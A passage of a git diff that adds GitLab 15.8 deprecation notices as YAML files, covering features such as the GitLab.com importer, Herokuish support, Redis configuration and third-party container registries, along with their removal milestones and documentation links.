+- title: "GraphQL: The `DISABLED_WITH_OVERRIDE` value of the `SharedRunnersSetting` enum is deprecated. Use `DISABLED_AND_OVERRIDABLE` instead" # (required) Actionable title. e.g., The `confidential` field for a `Note` is deprecated. Use `internal` instead.
+ announcement_milestone: "15.8" # (required) The milestone when this feature was first announced as deprecated.
+ announcement_date: "2023-01-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
+ removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
+ removal_date: "2023-05-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
+ breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
+ reporter: tschmitke # (required) GitLab username of the person reporting the deprecation
+ stage: Verify # (required) String value of the stage that the feature was created in. e.g., Growth
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/385636 # (required) Link to the deprecation issue in GitLab
+ body: | # (required) Do not modify this line, instead modify the lines below.
+ In GitLab 16.0, the `DISABLED_WITH_OVERRIDE` value of the `SharedRunnersSetting` GraphQL enum type will be replaced with the value, `DISABLED_AND_OVERRIDABLE`.
+ #
+ # OTHER OPTIONAL FIELDS
+ #
+ documentation_url: "https://docs.gitlab.com/ee/api/graphql/reference/#sharedrunnerssetting" # (optional) This is a link to the current documentation page
diff --git a/data/deprecations/15-8-deprecate-gitlabcom-importer.yml b/data/deprecations/15-8-deprecate-gitlabcom-importer.yml
new file mode 100644
index 00000000000..bb5d44a83a9
--- /dev/null
+++ b/data/deprecations/15-8-deprecate-gitlabcom-importer.yml
@@ -0,0 +1,18 @@
+- title: 'GitLab.com importer'
+ announcement_milestone: '15.8'
+ announcement_date: '2023-01-22'
+ removal_milestone: '16.0'
+ removal_date: '2023-05-22'
+ breaking_change: false
+ body: |
+ The [GitLab.com importer](https://docs.gitlab.com/ee/user/project/import/gitlab_com.html) is deprecated in GitLab 15.8 and will be removed in GitLab 16.0.
+
+ The GitLab.com importer was introduced in 2015 for importing a project from GitLab.com to a self-managed GitLab instance through the UI.
+ This feature is available on self-managed instances only. [Migrating GitLab groups and projects by direct transfer](https://docs.gitlab.com/ee/user/group/import/#migrate-groups-by-direct-transfer-recommended)
+ supersedes the GitLab.com importer and provides a more cohesive importing functionality.
+
+ See [migrated group items](https://docs.gitlab.com/ee/user/group/import/#migrated-group-items) and [migrated project items](https://docs.gitlab.com/ee/user/group/import/#migrated-project-items) for an overview.
+ stage: manage
+ tiers:
+ issue_url: https://gitlab.com/gitlab-com/Product/-/issues/4895
+ documentation_url: https://docs.gitlab.com/ee/user/project/import/gitlab_com.html
diff --git a/data/deprecations/15-8-deprecate-herokuish.yml b/data/deprecations/15-8-deprecate-herokuish.yml
new file mode 100644
index 00000000000..78155095764
--- /dev/null
+++ b/data/deprecations/15-8-deprecate-herokuish.yml
@@ -0,0 +1,12 @@
+- title: "Auto DevOps support for Herokuish is deprecated"
+ announcement_milestone: "15.8"
+ removal_milestone: "17.0"
+ breaking_change: true
+ reporter: nagyv-gitlab
+ stage: configure
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/211643
+ body: |
+ Auto DevOps support for Herokuish is deprecated in favor of [Cloud Native Buildpacks](https://docs.gitlab.com/ee/topics/autodevops/stages.html#auto-build-using-cloud-native-buildpacks). You should [migrate your builds from Herokuish to Cloud Native Buildpacks](https://docs.gitlab.com/ee/topics/autodevops/stages.html#moving-from-herokuish-to-cloud-native-buildpacks). From GitLab 14.0, Auto Build uses Cloud Native Buildpacks by default.
+
+ Because Cloud Native Buildpacks do not support automatic testing, the Auto Test feature of Auto DevOps is also deprecated.
+ documentation_url: https://docs.gitlab.com/ee/topics/autodevops/stages.html#auto-build-using-cloud-native-buildpacks
diff --git a/data/deprecations/15-8-deprecate-import-bare-repositories-rake-task.yml b/data/deprecations/15-8-deprecate-import-bare-repositories-rake-task.yml
new file mode 100644
index 00000000000..5619a52ef34
--- /dev/null
+++ b/data/deprecations/15-8-deprecate-import-bare-repositories-rake-task.yml
@@ -0,0 +1,28 @@
+- title: 'Rake task for importing bare repositories'
+ announcement_milestone: '15.8'
+ announcement_date: '2023-01-22'
+ removal_milestone: '16.0'
+ removal_date: '2023-05-22'
+ breaking_change: false
+ body: |
+ The [Rake task for importing bare repositories](https://docs.gitlab.com/ee/raketasks/import.html) `gitlab:import:repos` is deprecated in GitLab 15.8 and will be removed in GitLab 16.0.
+
+ This Rake task imports a directory tree of repositories into a GitLab instance. These repositories must have been
+ managed by GitLab previously, because the Rake task relies on the specific directory structure or a specific custom Git setting in order to work (`gitlab.fullpath`).
+
+ Importing repositories using this Rake task has limitations. The Rake task:
+
+ - Only knows about project and project wiki repositories and doesn't support repositories for designs, group wikis, or snippets.
+ - Permits you to import non-hashed storage projects even though these aren't supported.
+ - Relies on having Git config `gitlab.fullpath` set. [Epic 8953](https://gitlab.com/groups/gitlab-org/-/epics/8953) proposes removing support for this setting.
+
+ Alternatives to using the `gitlab:import:repos` Rake task include:
+
+ - Migrating projects using either [an export file](https://docs.gitlab.com/ee/user/project/settings/import_export.html) or
+ [direct transfer](https://docs.gitlab.com/ee/user/group/import/#migrate-groups-by-direct-transfer-recommended) migrate repositories as well.
+ - Importing a [repository by URL](https://docs.gitlab.com/ee/user/project/import/repo_by_url.html).
+ - Importing a [repositories from a non-GitLab source](https://docs.gitlab.com/ee/user/project/import/).
+ stage: manage
+ tiers:
+ issue_url: https://gitlab.com/gitlab-com/Product/-/issues/5255
+ documentation_url: https://docs.gitlab.com/ee/raketasks/import.html
diff --git a/data/deprecations/15-8-deprecate-merge-request-approvals-fields.yml b/data/deprecations/15-8-deprecate-merge-request-approvals-fields.yml
new file mode 100644
index 00000000000..3e0e10b54db
--- /dev/null
+++ b/data/deprecations/15-8-deprecate-merge-request-approvals-fields.yml
@@ -0,0 +1,14 @@
+- title: 'Approvers and Approver Group fields in Merge Request Approval API'
+ announcement_milestone: '15.8'
+ announcement_date: '2023-01-22'
+ removal_milestone: '16.0'
+ removal_date: '2023-05-22'
+ breaking_change: true
+ body: |
+ The endpoint to get the configuration of approvals for a project returns empty arrays for `approvers` and `approval_groups`. These fields were deprecated in favor of the endpoint to [get project-level rules](https://docs.gitlab.com/ee/api/merge_request_approvals.html#get-project-level-rules) for a merge request. API users are encouraged to switch to this endpoint instead. These fields will be removed from the `get configuration` endpoint in v5 of the GitLab REST API.
+ stage: create
+ tiers:
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/353097
+ documentation_url: https://docs.gitlab.com/ee/api/merge_request_approvals.html#get-project-level-rules
+ image_url:
+ video_url:
diff --git a/data/deprecations/15-8-deprecate-opensuse-15-3.yml b/data/deprecations/15-8-deprecate-opensuse-15-3.yml
new file mode 100644
index 00000000000..54eca3fe014
--- /dev/null
+++ b/data/deprecations/15-8-deprecate-opensuse-15-3.yml
@@ -0,0 +1,14 @@
+- title: "openSUSE Leap 15.3 packages" # (required) Clearly explain the change, or planned change. For example, "The `confidential` field for a `Note` is deprecated" or "CI/CD job names will be limited to 250 characters."
+ announcement_milestone: "15.8" # (required) The milestone when this feature was first announced as deprecated.
+ removal_milestone: "15.11" # (required) The milestone when this feature is planned to be removed
+ breaking_change: false # (required) Change to false if this is not a breaking change.
+ reporter: twk3 # (required) GitLab username of the person reporting the change
+ stage: distribution # (required) String value of the stage that the feature was created in. e.g., Growth
+ issue_url: https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/7371 # (required) Link to the deprecation issue in GitLab
+ body: | # (required) Do not modify this line, instead modify the lines below.
+ Distribution support and security updates for openSUSE Leap 15.3 [ended December 2022](https://en.opensuse.org/Lifetime#Discontinued_distributions).
+
+ Starting in GitLab 15.7 we started providing packages for openSUSE Leap 15.4, and will stop providing packages for openSUSE Leap 15.3 in the 15.11 milestone.
+
+ - Switch from the openSUSE Leap 15.3 packages to the provided 15.4 packages.
+ documentation_url: https://docs.gitlab.com/ee/administration/package_information/supported_os.html
diff --git a/data/deprecations/15-8-deprecate-updated-at-error.yml b/data/deprecations/15-8-deprecate-updated-at-error.yml
new file mode 100644
index 00000000000..9b4c5c3e007
--- /dev/null
+++ b/data/deprecations/15-8-deprecate-updated-at-error.yml
@@ -0,0 +1,45 @@
+# This is a template for announcing a feature deprecation or other important planned change.
+#
+# Please refer to the deprecation guidelines to confirm your understanding of GitLab's definitions.
+# https://docs.gitlab.com/ee/development/deprecation_guidelines/#terminology
+#
+# Deprecations and other future breaking changes must be announced at least
+# three releases prior to removal.
+#
+# Breaking changes must happen in a major release.
+#
+# See the OPTIONAL END OF SUPPORT FIELDS section below if an End of Support period also applies.
+#
+# For more information please refer to the handbook documentation here:
+# https://about.gitlab.com/handbook/marketing/blog/release-posts/#deprecations-and-other-planned-breaking-change-announcements
+#
+# Please delete this line and above before submitting your merge request.
+#
+# REQUIRED FIELDS
+#
+- title: "Deployment API returns error when `updated_at` and `updated_at` are not used together" # (required) Clearly explain the change, or planned change. For example, "The `confidential` field for a `Note` is deprecated" or "CI/CD job names will be limited to 250 characters."
+ announcement_milestone: "15.8" # (required) The milestone when this feature was first announced as deprecated.
+ announcement_date: "2023-01-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
+ removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
+ removal_date: 2023-05-22 # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
+ breaking_change: true # (required) Change to false if this is not a breaking change.
+ reporter: cbalane # (required) GitLab username of the person reporting the change
+ stage: Release # (required) String value of the stage that the feature was created in. e.g., Growth
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/328500 # (required) Link to the deprecation issue in GitLab
+ body: | # (required) Do not modify this line, instead modify the lines below.
+ The Deployment API will now return an error when `updated_at` filtering and `updated_at` sorting are not used together. Some users were using filtering by `updated_at` to fetch "latest" deployment without using `updated_at` sorting, which may produce wrong results. You should instead use them together, or migrate to filtering by `finished_at` and sorting by `finished_at` which will give you "latest deployments" in a consistent way.
+#
+# OPTIONAL END OF SUPPORT FIELDS
+#
+# If an End of Support period applies, the announcement should be shared with GitLab Support
+# in the `#spt_managers` channel in Slack, and mention `@gitlab-com/support` in this MR.
+#
+ end_of_support_milestone: # (optional) Use "XX.YY" format. The milestone when support for this feature will end.
+ end_of_support_date: # (optional) The date of the milestone release when support for this feature will end.
+ #
+ # OTHER OPTIONAL FIELDS
+ #
+ tiers: # (optional - may be required in the future) An array of tiers that the feature is available in currently. e.g., [Free, Silver, Gold, Core, Premium, Ultimate]
+ documentation_url: # (optional) This is a link to the current documentation page
+ image_url: # (optional) This is a link to a thumbnail image depicting the feature
+ video_url: # (optional) Use the youtube thumbnail URL with the structure of https://img.youtube.com/vi/UNIQUEID/hqdefault.jpg
diff --git a/data/deprecations/15-8-live-preview.yml b/data/deprecations/15-8-live-preview.yml
new file mode 100644
index 00000000000..05ec5111e4a
--- /dev/null
+++ b/data/deprecations/15-8-live-preview.yml
@@ -0,0 +1,11 @@
+- title: "Live Preview no longer available in the Web IDE" # (required) Clearly explain the change, or planned change. For example, "The `confidential` field for a `Note` is deprecated" or "CI/CD job names will be limited to 250 characters."
+ announcement_milestone: "15.8" # (required) The milestone when this feature was first announced as deprecated.
+ announcement_date: "2023-01-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
+ removal_milestone: "15.9" # (required) The milestone when this feature is planned to be removed
+ removal_date: "2023-02-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
+ breaking_change: true # (required) Change to false if this is not a breaking change.
+ reporter: ericschurter # (required) GitLab username of the person reporting the change
+ stage: create # (required) String value of the stage that the feature was created in. e.g., Growth
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/383889 # (required) Link to the deprecation issue in GitLab
+ body: | # (required) Do not modify this line, instead modify the lines below.
+ The Live Preview feature of the Web IDE was intended to provide a client-side preview of static web applications. However, complex configuration steps and a narrow set of supported project types have limited its utility. With the introduction of the Web IDE Beta in GitLab 15.7, you can now connect to a full server-side runtime environment. With upcoming support for installing extensions in the Web IDE, we'll also support more advanced workflows than those available with Live Preview. As of GitLab 15.9, Live Preview is no longer available in the Web IDE.
diff --git a/data/deprecations/15-8-projects-api-ops-access-level.yml b/data/deprecations/15-8-projects-api-ops-access-level.yml
new file mode 100644
index 00000000000..4e0fbbe63ab
--- /dev/null
+++ b/data/deprecations/15-8-projects-api-ops-access-level.yml
@@ -0,0 +1,45 @@
+# This is a template for announcing a feature deprecation or other important planned change.
+#
+# Please refer to the deprecation guidelines to confirm your understanding of GitLab's definitions.
+# https://docs.gitlab.com/ee/development/deprecation_guidelines/#terminology
+#
+# Deprecations and other future breaking changes must be announced at least
+# three releases prior to removal.
+#
+# Breaking changes must happen in a major release.
+#
+# See the OPTIONAL END OF SUPPORT FIELDS section below if an End of Support period also applies.
+#
+# For more information please refer to the handbook documentation here:
+# https://about.gitlab.com/handbook/marketing/blog/release-posts/#deprecations-and-other-planned-breaking-change-announcements
+#
+# Please delete this line and above before submitting your merge request.
+#
+# REQUIRED FIELDS
+#
+- title: "Projects API field `operations_access_level` is deprecated" # (required) Clearly explain the change, or planned change. For example, "The `confidential` field for a `Note` is deprecated" or "CI/CD job names will be limited to 250 characters."
+ announcement_milestone: "15.8" # (required) The milestone when this feature was first announced as deprecated.
+ announcement_date: "2023-01-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
+ removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
+ removal_date: 2023-05-22 # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
+ breaking_change: true # (required) Change to false if this is not a breaking change.
+ reporter: cbalane # (required) GitLab username of the person reporting the change
+ stage: Release # (required) String value of the stage that the feature was created in. e.g., Growth
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/385798 # (required) Link to the deprecation issue in GitLab
+ body: | # (required) Do not modify this line, instead modify the lines below.
+ We are deprecating the `operations_access_level` field in the Projects API. This field has been replaced by fields to control specific features: `releases_access_level`, `environments_access_level`, `feature_flags_access_level`, `infrastructure_access_level`, and `monitor_access_level`.
+#
+# OPTIONAL END OF SUPPORT FIELDS
+#
+# If an End of Support period applies, the announcement should be shared with GitLab Support
+# in the `#spt_managers` channel in Slack, and mention `@gitlab-com/support` in this MR.
+#
+ end_of_support_milestone: # (optional) Use "XX.YY" format. The milestone when support for this feature will end.
+ end_of_support_date: # (optional) The date of the milestone release when support for this feature will end.
+ #
+ # OTHER OPTIONAL FIELDS
+ #
+ tiers: # (optional - may be required in the future) An array of tiers that the feature is available in currently. e.g., [Free, Silver, Gold, Core, Premium, Ultimate]
+ documentation_url: # (optional) This is a link to the current documentation page
+ image_url: # (optional) This is a link to a thumbnail image depicting the feature
+ video_url: # (optional) Use the youtube thumbnail URL with the structure of https://img.youtube.com/vi/UNIQUEID/hqdefault.jpg
diff --git a/data/deprecations/15-8-pull-through-cache-container-registry.yml b/data/deprecations/15-8-pull-through-cache-container-registry.yml
new file mode 100644
index 00000000000..60a759517e0
--- /dev/null
+++ b/data/deprecations/15-8-pull-through-cache-container-registry.yml
@@ -0,0 +1,9 @@
+- title: "Container Registry pull-through cache" # (required) Actionable title. e.g., The `confidential` field for a `Note` is deprecated. Use `internal` instead.
+ announcement_milestone: "15.8" # (required) The milestone when this feature was first announced as deprecated.
+ removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
+ breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
+ reporter: trizzi # (required) GitLab username of the person reporting the deprecation
+ stage: Package # (required) String value of the stage that the feature was created in. e.g., Growth
+ issue_url: https://gitlab.com/gitlab-org/container-registry/-/issues/842 # (required) Link to the deprecation issue in GitLab
+ body: | # (required) Do not modify this line, instead modify the lines below.
+ The Container Registry pull-through cache is deprecated in GitLab 15.8 and will be removed in GitLab 16.0. While the Container Registry pull-through cache functionality is useful, we have not made significant changes to this feature. You can use the upstream version of the container registry to achieve the same functionality. Removing the pull-through cache allows us also to remove the upstream client code without sacrificing functionality.
diff --git a/data/deprecations/15-8-raise-permissions-settings-package-stage.yml b/data/deprecations/15-8-raise-permissions-settings-package-stage.yml
new file mode 100644
index 00000000000..72b53ee8c9b
--- /dev/null
+++ b/data/deprecations/15-8-raise-permissions-settings-package-stage.yml
@@ -0,0 +1,17 @@
+- title: "Maintainer role providing the ability to change Package settings using GraphQL API"
+ announcement_milestone: "15.8"
+ removal_milestone: "16.0"
+ breaking_change: true
+ reporter: trizzi
+ stage: Package
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/370471
+ body: |
+ The ability for users with the Maintainer role to change the **Packages and registries** settings for a group using
+ the GraphQL API is deprecated in GitLab 15.8 and will be removed in GitLab 16.0. These settings include:
+
+ - [Allowing or preventing duplicate package uploads](https://docs.gitlab.com/ee/user/packages/maven_repository/#do-not-allow-duplicate-maven-packages).
+ - [Package request forwarding](https://docs.gitlab.com/ee/user/packages/maven_repository/#request-forwarding-to-maven-central).
+ - [Enabling lifecycle rules for the Dependency Proxy](https://docs.gitlab.com/ee/user/packages/dependency_proxy/reduce_dependency_proxy_storage.html).
+
+ In GitLab 16.0 and later, you must have Owner role for a group to change the **Packages and registries**
+ settings for the group using either the GitLab UI or GraphQL API.
diff --git a/data/deprecations/15-8-redis-config-env.yml b/data/deprecations/15-8-redis-config-env.yml
new file mode 100644
index 00000000000..473b97518c2
--- /dev/null
+++ b/data/deprecations/15-8-redis-config-env.yml
@@ -0,0 +1,13 @@
+- title: "Configuring Redis config file paths using environment variables is deprecated"
+ announcement_milestone: "15.8"
+ removal_milestone: "16.0"
+ breaking_change: true
+ reporter: jacobvosmaer-gitlab
+ stage: platforms
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/388255
+ body: |
+ You can no longer specify Redis configuration file locations
+ using the environment variables like `GITLAB_REDIS_CACHE_CONFIG_FILE` or
+ `GITLAB_REDIS_QUEUES_CONFIG_FILE`. Use the default
+ config file locations instead, for example `config/redis.cache.yml` or
+ `config/redis.queues.yml`.
diff --git a/data/deprecations/15-8-redis-localhost.yml b/data/deprecations/15-8-redis-localhost.yml
new file mode 100644
index 00000000000..b18fcdc4318
--- /dev/null
+++ b/data/deprecations/15-8-redis-localhost.yml
@@ -0,0 +1,16 @@
+- title: "Non-standard default Redis ports are deprecated"
+ announcement_milestone: "15.8"
+ removal_milestone: "16.0"
+ breaking_change: true
+ reporter: jacobvosmaer-gitlab
+ stage: platforms # (required) String value of the stage that the feature was created in. e.g., Growth
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/388269
+ body: |
+ If GitLab starts without any Redis configuration file present,
+ GitLab assumes it can connect to three Redis servers at `localhost:6380`,
+ `localhost:6381` and `localhost:6382`. We are changing this behavior
+ so GitLab assumes there is one Redis server at `localhost:6379`.
+
+ Administrators who want to keep the three servers must configure
+ the Redis URLs by editing the `config/redis.cache.yml`,`config/redis.queues.yml`
+ and `config/redis.shared_state.yml` files.
diff --git a/data/deprecations/15-8-remove-deprecated-environment-tier-param-from-dora-api.yml b/data/deprecations/15-8-remove-deprecated-environment-tier-param-from-dora-api.yml
new file mode 100644
index 00000000000..f46b2159bf4
--- /dev/null
+++ b/data/deprecations/15-8-remove-deprecated-environment-tier-param-from-dora-api.yml
@@ -0,0 +1,9 @@
+- title: "`environment_tier` parameter for DORA API" # (required) Clearly explain the change, or planned change. For example, "The `confidential` field for a `Note` is deprecated" or "The maximum number of characters in a job name will be limited to 250."
+ announcement_milestone: "15.8" # (required) The milestone when this feature was first announced as deprecated.
+ removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
+ breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
+ reporter: hsnir1 # (required) GitLab username of the person reporting the deprecation
+ stage: plan # (required) String value of the stage that the feature was created in. e.g., Growth
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/365939 # (required) Link to the deprecation issue in GitLab
+ body: | # (required) Do not modify this line, instead modify the lines below.
+ To avoid confusion and duplication, the `environment_tier` parameter is deprecated in favor of the `environment_tiers` parameter. The new `environment_tiers` parameter allows DORA APIs to return aggregated data for multiple tiers at the same time. The `environment_tier` parameter will be removed in GitLab 16.0.
diff --git a/data/deprecations/15-8-restrict-gitlab-projects-imports-to-maintainers-and-above.yml b/data/deprecations/15-8-restrict-gitlab-projects-imports-to-maintainers-and-above.yml
new file mode 100644
index 00000000000..4d27974cd0b
--- /dev/null
+++ b/data/deprecations/15-8-restrict-gitlab-projects-imports-to-maintainers-and-above.yml
@@ -0,0 +1,13 @@
+- title: 'Developer role providing the ability to import projects to a group'
+ announcement_milestone: '15.8'
+ announcement_date: '2023-01-22'
+ removal_milestone: '16.0'
+ removal_date: '2023-05-22'
+ breaking_change: true
+ body: |
+ The ability for users with the Developer role for a group to import projects to that group is deprecated in GitLab
+ 15.8 and will be removed in GitLab 16.0. From GitLab 16.0, only users with at least the Maintainer role for a group
+ will be able to import projects to that group.
+ stage: manage
+ tiers:
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/387891
diff --git a/data/deprecations/15-8-revoked-agent-tokens-api-change.yml b/data/deprecations/15-8-revoked-agent-tokens-api-change.yml
new file mode 100644
index 00000000000..f5122974844
--- /dev/null
+++ b/data/deprecations/15-8-revoked-agent-tokens-api-change.yml
@@ -0,0 +1,20 @@
+- title: "The API no longer returns revoked tokens for the agent for Kubernetes"
+ announcement_milestone: "15.8"
+ removal_milestone: "16.0"
+ breaking_change: true
+ reporter: nagyv-gitlab
+ stage: configure
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/382129
+ body: |
+ Currently, GET requests to the [Cluster Agents API](https://docs.gitlab.com/ee/api/cluster_agents.html#list-tokens-for-an-agent)
+ endpoints can return revoked tokens. In GitLab 16.0, GET requests will not return revoked tokens.
+
+ You should review your calls to these endpoints and ensure you do not use revoked tokens.
+
+ This change affects the following REST and GraphQL API endpoints:
+
+ - REST API:
+ - [List tokens](https://docs.gitlab.com/ee/api/cluster_agents.html#list-tokens-for-an-agent)
+ - [Get a single token](https://docs.gitlab.com/ee/api/cluster_agents.html#get-a-single-agent-token)
+ - GraphQL:
+ - [`ClusterAgent.tokens`](https://docs.gitlab.com/ee/api/graphql/reference/#clusteragenttokens)
diff --git a/data/deprecations/15-8-terraform-latest-stable-change.yml b/data/deprecations/15-8-terraform-latest-stable-change.yml
new file mode 100644
index 00000000000..60e9a509252
--- /dev/null
+++ b/data/deprecations/15-8-terraform-latest-stable-change.yml
@@ -0,0 +1,18 @@
+- title: "The latest Terraform templates will overwrite current stable templates"
+ announcement_milestone: "15.8"
+ removal_milestone: "16.0"
+ breaking_change: true
+ reporter: nagyv-gitlab
+ stage: configure
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/386001
+ body: | # (required) Do not modify this line, instead modify the lines below.
+ With every major GitLab version, we update the stable Terraform templates with the current latest templates.
+ This change affects the [quickstart](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform.gitlab-ci.yml)
+ and the [base](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform/Base.gitlab-ci.yml) templates.
+
+ Because the new templates ship with default rules, the update might break your Terraform pipelines.
+ For example, if your Terraform jobs are triggered as a downstream pipeline, the rules won't trigger your jobs
+ in GitLab 16.0.
+
+ To accommodate the changes, you might need to adjust the [`rules`](https://docs.gitlab.com/ee/ci/yaml/#rules) in your
+ `.gitlab-ci.yml` file.
diff --git a/data/deprecations/15-8-third-party-registries.yml b/data/deprecations/15-8-third-party-registries.yml
new file mode 100644
index 00000000000..6da3e550bb3
--- /dev/null
+++ b/data/deprecations/15-8-third-party-registries.yml
@@ -0,0 +1,13 @@
+- title: "Support for third party registries" # (required) Actionable title. e.g., The `confidential` field for a `Note` is deprecated. Use `internal` instead.
+ announcement_milestone: "15.8" # (required) The milestone when this feature was first announced as deprecated.
+ removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
+ breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
+ reporter: trizzi # (required) GitLab username of the person reporting the deprecation
+ stage: Package # (required) String value of the stage that the feature was created in. e.g., Growth
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/376216 # (required) Link to the deprecation issue in GitLab
+ body: | # (required) Do not modify this line, instead modify the lines below.
+ Support for third-party container registries is deprecated in GitLab 15.8 and will be [removed](https://gitlab.com/gitlab-org/gitlab/-/issues/376217) in GitLab 16.0. Supporting both GitLab's Container Registry and third-party container registries is challenging for maintenance, code quality, and backward compatibility. This hinders our ability to stay [efficient](https://about.gitlab.com/handbook/values/#efficiency).
+
+ Since we released the new [GitLab Container Registry](https://gitlab.com/groups/gitlab-org/-/epics/5523) version for GitLab.com, we've started to implement additional features that are not available in third-party container registries. These new features have allowed us to achieve significant performance improvements, such as [cleanup policies](https://gitlab.com/groups/gitlab-org/-/epics/8379). We are focusing on delivering [new features](https://gitlab.com/groups/gitlab-org/-/epics/5136), most of which will require functionalities only available on the GitLab Container Registry. This deprecation allows us to reduce fragmentation and user frustration in the long term by focusing on delivering a more robust integrated registry experience and feature set.
+
+ Moving forward, we'll continue to invest in developing and releasing new features that will only be available in the GitLab Container Registry.
diff --git a/data/deprecations/15-8-visual-review-tool.yml b/data/deprecations/15-8-visual-review-tool.yml
new file mode 100644
index 00000000000..4833bc314d8
--- /dev/null
+++ b/data/deprecations/15-8-visual-review-tool.yml
@@ -0,0 +1,23 @@
+- title: "The Visual Reviews tool is deprecated" # (required) Clearly explain the change, or planned change. For example, "The `confidential` field for a `Note` is deprecated" or "CI/CD job names will be limited to 250 characters."
+ announcement_milestone: "15.8" # (required) The milestone when this feature was first announced as deprecated.
+ removal_milestone: "17.0" # (required) The milestone when this feature is planned to be removed
+ breaking_change: true # (required) Change to false if this is not a breaking change.
+ reporter: jocelynjane # (required) GitLab username of the person reporting the change
+ stage: Verify # (required) String value of the stage that the feature was created in. e.g., Growth
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/387751 # (required) Link to the deprecation issue in GitLab
+ body: | # (required) Do not modify this line, instead modify the lines below.
+ Due to limited customer usage and capabilities, the Visual Reviews feature for Review Apps is deprecated and will be removed. There is no planned replacement and users should stop using Visual Reviews before GitLab 17.0.
+#
+# OPTIONAL END OF SUPPORT FIELDS
+#
+# If an End of Support period applies, the announcement should be shared with GitLab Support
+# in the `#spt_managers` channel in Slack, and mention `@gitlab-com/support` in this MR.
+#
+ end_of_support_milestone: # (optional) Use "XX.YY" format. The milestone when support for this feature will end.
+ #
+ # OTHER OPTIONAL FIELDS
+ #
+ tiers: Premium # (optional - may be required in the future) An array of tiers that the feature is available in currently. e.g., [Free, Silver, Gold, Core, Premium, Ultimate]
+ documentation_url: https://docs.gitlab.com/ee/ci/review_apps/#visual-reviews # (optional) This is a link to the current documentation page
+ image_url: # (optional) This is a link to a thumbnail image depicting the feature
+ video_url: # (optional) Use the youtube thumbnail URL with the structure of https://img.youtube.com/vi/UNIQUEID/hqdefault.jpg
diff --git a/data/deprecations/15.8-kas-private-tls.yml b/data/deprecations/15.8-kas-private-tls.yml
new file mode 100644
index 00000000000..3d1a6e7830f
--- /dev/null
+++ b/data/deprecations/15.8-kas-private-tls.yml
@@ -0,0 +1,16 @@
+- title: "GitLab Helm chart values `gitlab.kas.privateApi.*` are deprecated"
+ announcement_milestone: "15.8"
+ removal_milestone: "17.0"
+ breaking_change: true
+ reporter: nagyv-gitlab
+ stage: configure
+ issue_url: https://gitlab.com/gitlab-org/charts/gitlab/-/issues/4097
+ body: | # (required) Do not modify this line, instead modify the lines below.
+ We introduced the `global.kas.tls.*` Helm values to facilitate TLS communication between KAS and your Helm chart components.
+ The old values `gitlab.kas.privateApi.tls.enabled` and `gitlab.kas.privateApi.tls.secretName` are deprecated and scheduled for removal in GitLab 17.0.
+
+ Because the new values provide a streamlined, comprehensive method to enable TLS for KAS, you should use `global.kas.tls.*` instead of `gitlab.kas.privateApi.tls.*`. The `gitlab.kas.privateApi.tls.*` For more information, see:
+
+ - The [merge request](https://gitlab.com/gitlab-org/charts/gitlab/-/merge_requests/2888) that introduces the `global.kas.tls.*` values.
+ - The [deprecated `gitlab.kas.privateApi.tls.*` documentation](https://docs.gitlab.com/charts/charts/gitlab/kas/index.html#enable-tls-communication-through-the-gitlabkasprivateapi-attributes-deprecated).
+ - The [new `global.kas.tls.*` documentation](https://docs.gitlab.com/charts/charts/globals.html#tls-settings-1).
diff --git a/data/deprecations/16-0-post-ci-lint.yml b/data/deprecations/16-0-post-ci-lint.yml
index 3bea4201bc0..42c9d29a3d5 100644
--- a/data/deprecations/16-0-post-ci-lint.yml
+++ b/data/deprecations/16-0-post-ci-lint.yml
@@ -18,9 +18,7 @@
#
- title: "`POST ci/lint` API endpoint deprecated" # (required) The name of the feature to be deprecated
announcement_milestone: "15.7" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-12-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
